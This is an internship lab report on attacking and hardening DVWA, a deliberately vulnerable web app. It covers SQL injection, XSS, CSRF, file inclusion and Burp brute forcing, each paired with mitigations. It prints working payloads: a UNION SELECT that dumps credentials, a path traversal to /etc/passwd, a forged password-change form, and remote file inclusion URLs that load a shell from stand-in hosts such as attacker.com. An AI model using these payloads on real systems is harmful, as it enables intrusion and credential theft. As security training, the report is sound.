LAB REPORT — TASK 3

Web Application Security

ApexPlanet Cybersecurity Internship | Days 25–36

1. Objective

This report documents Task 3 of the ApexPlanet Cybersecurity Internship — Web Application Security. The objective was to identify and exploit OWASP Top 10 vulnerabilities in a controlled lab environment using DVWA (Damn Vulnerable Web Application), and demonstrate practical mitigations for each attack.

2. Task Completion Checklist

Task / Step
Setup DVWA in Kali Linux
SQL Injection — Extract usernames & passwords
SQL Injection — Prevention with Prepared Statements
Stored XSS Attack on DVWA
Reflected XSS via Query Parameters
XSS Mitigation — Input Validation & CSP
CSRF Attack — Change user password on DVWA
CSRF Mitigation — Token-based Protection
Local File Inclusion (LFI) Attack
Remote File Inclusion (RFI) Attack
Burp Suite — Intercept & Modify Login Request
Burp Suite — Intruder Fuzzing Attack
Web Security Headers Analysis (securityheaders.com)
Add HTTP Security Headers in Apache Config

3. Attack Summary Table

Summary of all OWASP Top 10 attacks performed on DVWA:

Attack Type	OWASP Category	Payload / Method	Mitigation
SQL Injection	A03 - Injection	`' OR '1'='1`	Use Prepared Statements / PDO
Stored XSS	A07 - XSS	`<script>alert('XSS')</script>`	Input validation + CSP headers
Reflected XSS	A07 - XSS	`?name=<script>alert(1)</script>`	Output encoding + sanitization
CSRF	A01 - Broken Access	`Forged HTML form POST request`	CSRF tokens on all forms
LFI	A05 - Misconfig	`?page=../../../../etc/passwd`	Whitelist allowed file paths
RFI	A05 - Misconfig	`?page=http://evil.com/shell.php`	Disable allow_url_include in PHP
Broken Auth	A07 - Auth Failure	`Brute force via Burp Intruder`	Rate limiting + account lockout

4. SQL Injection (SQLi)

4.1 Setup

- Installed DVWA on Kali Linux with Apache + MySQL
- Set DVWA Security Level to LOW for initial testing
- Navigated to: http://[target-ip]/dvwa/vulnerabilities/sqli/

4.2 Attack — Extract Usernames & Passwords

Payload used to bypass login and dump all users:

```
' OR '1'='1
```

```
1' UNION SELECT user, password FROM users-- -
```

```
┌──(root㉿kali)-[/var/www/html/dvwa/config]
└─# systemctl start apache2

┌──(root㉿kali)-[/var/www/html/dvwa/config]
└─# systemctl status apache2
● apache2.service - The Apache HTTP Server
     Loaded: loaded (/usr/lib/systemd/system/apache2.service; disabled; preset: disabled)
     Active: active (running) since Tue 2025-09-02 14:42:18 IST; 10s ago
 Invocation: 17d07adc65964802b9a48db094a9097c
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 175678 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
   Main PID: 175694 (apache2)
      Tasks: 6 (limit: 6942)
     Memory: 21.2M (peak: 21.6M)
        CPU: 108ms
     CGroup: /system.slice/apache2.service
             ├─175694 /usr/sbin/apache2 -k start
             ├─175697 /usr/sbin/apache2 -k start
             ├─175698 /usr/sbin/apache2 -k start
             ├─175699 /usr/sbin/apache2 -k start
             ├─175700 /usr/sbin/apache2 -k start
             └─175701 /usr/sbin/apache2 -k start

Sep 02 14:42:18 kali systemd[1]: Starting apache2.service - The Apache HTTP Server...
Sep 02 14:42:18 kali systemd[1]: Started apache2.service - The Apache HTTP Server.
```

4.3 Prevention — Prepared Statements

Vulnerable code vs. secure code comparison:

```
// VULNERABLE: Direct query concatenation
$query = "SELECT * FROM users WHERE id = '" . $id . "'";

// SECURE: Prepared Statement
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);
```

5. Cross-Site Scripting (XSS)

5.1 Stored XSS

Injected a malicious script into DVWA's message board that executes for every visitor.

```
<script>alert('Stored XSS Attack!')</script>
```

5.2 Reflected XSS

Injected script via URL query parameter — executes immediately when link is visited.

```
http://[target]/dvwa/vulnerabilities/xss_r/?name=<script>alert(1)</scri
pt>
```

5.3 Mitigation

- Input Validation: Reject input containing <script>, <, >, quotes
- Output Encoding: Use htmlspecialchars() in PHP before rendering
- Content Security Policy (CSP): Add header — Content-Security-Policy: default-src ‘self’

6. Cross-Site Request Forgery (CSRF)

6.1 Attack — Change User Password

Created a forged HTML page that sends a password change request to DVWA when visited by a logged-in user.

```
<form action='http://[target]/dvwa/vulnerabilities/csrf/' method='GET'>
  <input name='password_new' value='hacked123'>
  <input name='password_conf' value='hacked123'>
  <input type='submit' value='Click Me'>
</form>
```

6.2 Mitigation — CSRF Tokens

- Generate a unique CSRF token per session and embed it in every form
- Validate the token server-side before processing any state-changing request
- Use SameSite=Strict cookie attribute to prevent cross-site requests

7. File Inclusion Attacks

7.1 Local File Inclusion (LFI)

Exploited DVWA file inclusion to read sensitive system files:

```
http://[target]/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd
```

7.2 Remote File Inclusion (RFI)

Loaded a remote PHP shell by passing an external URL to the page parameter:

```
http://[target]/dvwa/vulnerabilities/fi/?page=http://attacker.com/shell
.php
```

7.3 Mitigation

- Whitelist allowed file paths — never use user input directly in include()
- Disable allow_url_include in php.ini: allow_url_include = Off
- Use realpath() to validate file paths before including

8. Burp Suite Advanced

8.1 Intercept & Modify Login Request

- Configured browser proxy to 127.0.0.1:8080
- Turned on Burp Suite Intercept → submitted DVWA login form
- Modified username/password in intercepted request → forwarded

8.2 Intruder — Fuzzing / Brute Force

- Sent intercepted login request to Intruder
- Set payload position on password field
- Loaded common wordlist (rockyou.txt subset)
- Ran attack — identified successful login by response length difference

9. Web Security Headers

9.1 Analysis with securityheaders.com

- Tested DVWA URL against securityheaders.com
- Initial grade: F — missing all security headers

9.2 Adding Headers in Apache Config

Added the following headers to /etc/apache2/apache2.conf:

```
Header always set X-Frame-Options "DENY"
Header always set X-XSS-Protection "1; mode=block"
Header always set X-Content-Type-Options "nosniff"
Header always set Content-Security-Policy "default-src 'self'"
Header always set Strict-Transport-Security "max-age=31536000"
Header always set Referrer-Policy "no-referrer"
```

10. Deliverables Submitted

- Security Testing Report — SQLi, XSS, CSRF with screenshots (this document)
- GitHub Repository with attack scenarios and mitigation notes
- 8-minute video demo of an exploitation and its fix